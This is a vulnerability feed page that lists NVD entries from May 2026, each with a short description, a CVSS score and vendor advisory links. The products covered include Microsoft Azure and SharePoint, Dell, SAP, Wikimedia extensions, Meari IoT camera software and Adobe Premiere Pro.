NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### External control of file name or path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-32204
External control of file name or path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally. (May 12, 2026).
External control of file name or path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-32204).
Sources:
NVD CVE-2026-32204: https://nvd.nist.gov/vuln/detail/CVE-2026-32204
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
External control of file name or path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell Automation Platform versions prior to 2.0.0.0, contains a missing authorization vulnerability.
https://kevwire.com/record/CVE-2026-32658
Dell Automation Platform versions prior to 2.0.0.0, contains a missing authorization vulnerability. (May 11, 2026).
Dell Automation Platform versions prior to 2.0.0.0, contains a missing authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.
CVSS 8.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-32658).
Sources:
NVD CVE-2026-32658: https://nvd.nist.gov/vuln/detail/CVE-2026-32658
Vendor advisory (via NVD references): https://www.dell.com/support/kbdoc/en-us/000458049/dsa-2026-193-security-update-for-dell-automation-platform-multiple-vulnerabilities
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Dell Automation Platform versions prior to 2.0.0.0, contains a missing authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-33110
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (May 12, 2026).
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33110).
Sources:
NVD CVE-2026-33110: https://nvd.nist.gov/vuln/detail/CVE-2026-33110
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-33112
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (May 12, 2026).
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33112).
Sources:
NVD CVE-2026-33112: https://nvd.nist.gov/vuln/detail/CVE-2026-33112
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Java Key Vault Keys library in the Azure SDK for Java contains an issue in the local cryptographic verification path where authentication tag comparison was implemented...
https://kevwire.com/record/CVE-2026-33117
The Java Key Vault Keys library in the Azure SDK for Java contains an issue in the local cryptographic verification path where authentication tag comparison was implemented... (May 12, 2026).
The Java Key Vault Keys library in the Azure SDK for Java contains an issue in the local cryptographic verification path where authentication tag comparison was implemented incorrectly. In affected applications that use the vulnerable local cryptography path, specially crafted encrypted input may bypass integrity verification checks. Operations delegated to the Key Vault service are not affected. The issue is addressed in version 4.10.6.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33117).
Sources:
NVD CVE-2026-33117: https://nvd.nist.gov/vuln/detail/CVE-2026-33117
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The Java Key Vault Keys library in the Azure SDK for Java contains an issue in the local cryptographic verification path where authentication tag comparison was implemented incorrectly. In affected applications that use the vulnerable local cryptography path, specially crafted encrypted input may bypass integrity verification checks. Operations delegated to the Key Vault service are not affected. The issue is addressed in version 4.10.6.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Meari IoT Cloud MQTT Broker deployments running EMQX 4.x, any authenticated low-privilege account can subscribe to global wildcard topics and receive telemetry from devices the...
https://kevwire.com/record/CVE-2026-33356
In Meari IoT Cloud MQTT Broker deployments running EMQX 4.x, any authenticated low-privilege account can subscribe to global wildcard topics and receive telemetry from devices the... (May 11, 2026).
In Meari IoT Cloud MQTT Broker deployments running EMQX 4.x, any authenticated low-privilege account can subscribe to global wildcard topics and receive telemetry from devices the user does not own. The broker enforces publish restrictions but does not enforce equivalent subscribe authorization at per-device scope.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33356).
Sources:
NVD CVE-2026-33356: https://nvd.nist.gov/vuln/detail/CVE-2026-33356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
In Meari IoT Cloud MQTT Broker deployments running EMQX 4.x, any authenticated low-privilege account can subscribe to global wildcard topics and receive telemetry from devices the user does not own. The broker enforces publish restrictions but does not enforce equivalent subscribe authorization at per-device scope.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Meari client applications embedding "com.meari.sdk" (including CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220, and related white-label <= 1.8.x), the integrated call path to...
https://kevwire.com/record/CVE-2026-33357
In Meari client applications embedding "com.meari.sdk" (including CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220, and related white-label <= 1.8.x), the integrated call path to... (May 11, 2026).
In Meari client applications embedding "com.meari.sdk" (including CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220, and related white-label <= 1.8.x), the integrated call path to openapi-euce.mearicloud.com can be abused to retrieve WAN IP data for arbitrary devices. The root cause is a server-side authorization failure in "GET /openapi/device/status".
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33357).
Sources:
NVD CVE-2026-33357: https://nvd.nist.gov/vuln/detail/CVE-2026-33357
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
In Meari client applications embedding "com.meari.sdk" (including CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220, and related white-label <= 1.8.x), the integrated call path to openapi-euce.mearicloud.com can be abused to retrieve WAN IP data for arbitrary devices. The root cause is a server-side authorization failure in "GET /openapi/device/status".

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Meari IoT Cloud alert image storage on Alibaba OSS (latest observed; storage service version not disclosed), motion snapshots are retrievable without authentication, signed...
https://kevwire.com/record/CVE-2026-33359
In Meari IoT Cloud alert image storage on Alibaba OSS (latest observed; storage service version not disclosed), motion snapshots are retrievable without authentication, signed... (May 11, 2026).
In Meari IoT Cloud alert image storage on Alibaba OSS (latest observed; storage service version not disclosed), motion snapshots are retrievable without authentication, signed URLs, or expiry enforcement. URLs function as direct object references and remain valid beyond expected operational windows.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33359).
Sources:
NVD CVE-2026-33359: https://nvd.nist.gov/vuln/detail/CVE-2026-33359
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
In Meari IoT Cloud alert image storage on Alibaba OSS (latest observed; storage service version not disclosed), motion snapshots are retrievable without authentication, signed URLs, or expiry enforcement. URLs function as direct object references and remain valid beyond expected operational windows.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Meari IoT SDK image handling (libmrplayer.so) as observed in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and related white-label apps (<= 1.8.x), baby monitor...
https://kevwire.com/record/CVE-2026-33361
In Meari IoT SDK image handling (libmrplayer.so) as observed in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and related white-label apps (<= 1.8.x), baby monitor... (May 11, 2026).
In Meari IoT SDK image handling (libmrplayer.so) as observed in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and related white-label apps (<= 1.8.x), baby monitor ".jpgx3" files use reversible XOR over only the first 1024 bytes with a predictable key derivation model.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33361).
Sources:
NVD CVE-2026-33361: https://nvd.nist.gov/vuln/detail/CVE-2026-33361
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
In Meari IoT SDK image handling (libmrplayer.so) as observed in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and related white-label apps (<= 1.8.x), baby monitor ".jpgx3" files use reversible XOR over only the first 1024 bytes with a predictable key derivation model.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Meari IoT SDK builds embedded in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and white-label Android apps <= 1.8.x (latest observed), multiple security-critical...
https://kevwire.com/record/CVE-2026-33362
In Meari IoT SDK builds embedded in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and white-label Android apps <= 1.8.x (latest observed), multiple security-critical... (May 11, 2026).
In Meari IoT SDK builds embedded in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and white-label Android apps <= 1.8.x (latest observed), multiple security-critical secrets are hardcoded and shared, including API signing material, password-transport keying, and service access keys.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33362).
Sources:
NVD CVE-2026-33362: https://nvd.nist.gov/vuln/detail/CVE-2026-33362
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
In Meari IoT SDK builds embedded in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and white-label Android apps <= 1.8.x (latest observed), multiple security-critical secrets are hardcoded and shared, including API signing material, password-transport keying, and service access keys.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper privilege management in Microsoft Dynamics 365 Customer Insights allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-33821
Improper privilege management in Microsoft Dynamics 365 Customer Insights allows an authorized attacker to elevate privileges over a network. (May 12, 2026).
Improper privilege management in Microsoft Dynamics 365 Customer Insights allows an authorized attacker to elevate privileges over a network.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33821).
Sources:
NVD CVE-2026-33821: https://nvd.nist.gov/vuln/detail/CVE-2026-33821
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper privilege management in Microsoft Dynamics 365 Customer Insights allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Machine Learning allows an unauthorized attacker to perform spoofing...
https://kevwire.com/record/CVE-2026-33833
Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Machine Learning allows an unauthorized attacker to perform spoofing... (May 12, 2026).
Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Machine Learning allows an unauthorized attacker to perform spoofing over a network.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33833).
Sources:
NVD CVE-2026-33833: https://nvd.nist.gov/vuln/detail/CVE-2026-33833
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Machine Learning allows an unauthorized attacker to perform spoofing over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation OATHAuth.
https://kevwire.com/record/CVE-2026-34087
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation OATHAuth. (May 11, 2026).
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation OATHAuth.

This issue affects OATHAuth: from * before 1.43.7, 1.44.4, 1.45.2.
CVSS 5.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34087).
Sources:
NVD CVE-2026-34087: https://nvd.nist.gov/vuln/detail/CVE-2026-34087
Vendor advisory (via NVD references): https://phabricator.wikimedia.org/T412061
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation OATHAuth.

This issue affects OATHAuth: from * before 1.43.7, 1.44.4, 1.45.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.
https://kevwire.com/record/CVE-2026-34088
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki. (May 11, 2026).
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.

This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.
CVSS 1.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34088).
Sources:
NVD CVE-2026-34088: https://nvd.nist.gov/vuln/detail/CVE-2026-34088
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.

This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation CheckUser.
https://kevwire.com/record/CVE-2026-34090
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation CheckUser. (May 11, 2026).
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation CheckUser.

This issue affects CheckUser: from 1.45.0 before 1.45.2.
CVSS 4.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34090).
Sources:
NVD CVE-2026-34090: https://nvd.nist.gov/vuln/detail/CVE-2026-34090
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation CheckUser.

This issue affects CheckUser: from 1.45.0 before 1.45.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.
https://kevwire.com/record/CVE-2026-34091
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki. (May 11, 2026).
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.

This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34091).
Sources:
NVD CVE-2026-34091: https://nvd.nist.gov/vuln/detail/CVE-2026-34091
Vendor advisory (via NVD references): https://phabricator.wikimedia.org/T411305
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki.

This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled...
https://kevwire.com/record/CVE-2026-34259
Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled... (May 12, 2026).
Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled function to execute arbitrary operating system commands. Successful exploitation could allow the attacker to read or modify any system data or shut down the system, resulting in a complete compromise of confidentiality, integrity, and availability.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34259).
Sources:
NVD CVE-2026-34259: https://nvd.nist.gov/vuln/detail/CVE-2026-34259
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Due to an OS Command Execution vulnerability in SAP Forecasting & Replenishment, an authenticated attacker with administrative authorizations could abuse a non-remote-enabled function to execute arbitrary operating system commands. Successful exploitation could allow the attacker to read or modify any system data or shut down the system, resulting in a complete compromise of confidentiality, integrity, and availability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through...
https://kevwire.com/record/CVE-2026-34260
SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through... (May 12, 2026).
SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through user-controlled input. The application directly concatenates this malicious user input into SQL queries, which are then passed to the underlying database without proper validation or sanitization. Upon successful exploitation, an attacker may gain unauthorized access to sensitive database information and could potentially crash the application. This vulnerability has a high impact on the confidentiality and availability of the application, while integrity remains unaffected.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34260).
Sources:
NVD CVE-2026-34260: https://nvd.nist.gov/vuln/detail/CVE-2026-34260
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through user-controlled input. The application directly concatenates this malicious user input into SQL queries, which are then passed to the underlying database without proper validation or sanitization. Upon successful exploitation, an attacker may gain unauthorized access to sensitive database information and could potentially crash the application. This vulnerability has a high impact on the confidentiality and availability of the application, while integrity remains unaffected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Due to improper Spring Security configuration, SAP Commerce Cloud allows an unauthenticated user to perform malicious input injection, resulting in arbitrary server-side code...
https://kevwire.com/record/CVE-2026-34263
Due to improper Spring Security configuration, SAP Commerce Cloud allows an unauthenticated user to perform malicious input injection, resulting in arbitrary server-side code... (May 12, 2026).
Due to improper Spring Security configuration, SAP Commerce Cloud allows an unauthenticated user to perform malicious input injection, resulting in arbitrary server-side code execution, leading to high impact on Confidentiality, Integrity, and Availability of the application.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34263).
Sources:
NVD CVE-2026-34263: https://nvd.nist.gov/vuln/detail/CVE-2026-34263
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Due to improper Spring Security configuration, SAP Commerce Cloud allows an unauthenticated user to perform malicious input injection, resulting in arbitrary server-side code execution, leading to high impact on Confidentiality, Integrity, and Availability of the application.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-34332
Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to execute code over a network. (May 12, 2026).
Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to execute code over a network.
CVSS 8.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34332).
Sources:
NVD CVE-2026-34332: https://nvd.nist.gov/vuln/detail/CVE-2026-34332
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-34636
Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current... (May 12, 2026).
Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34636).
Sources:
NVD CVE-2026-34636: https://nvd.nist.gov/vuln/detail/CVE-2026-34636
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-34637
Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current... (May 12, 2026).
Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34637).
Sources:
NVD CVE-2026-34637: https://nvd.nist.gov/vuln/detail/CVE-2026-34637
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-34638
Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. (May 12, 2026).
Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34638).
Sources:
NVD CVE-2026-34638: https://nvd.nist.gov/vuln/detail/CVE-2026-34638
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
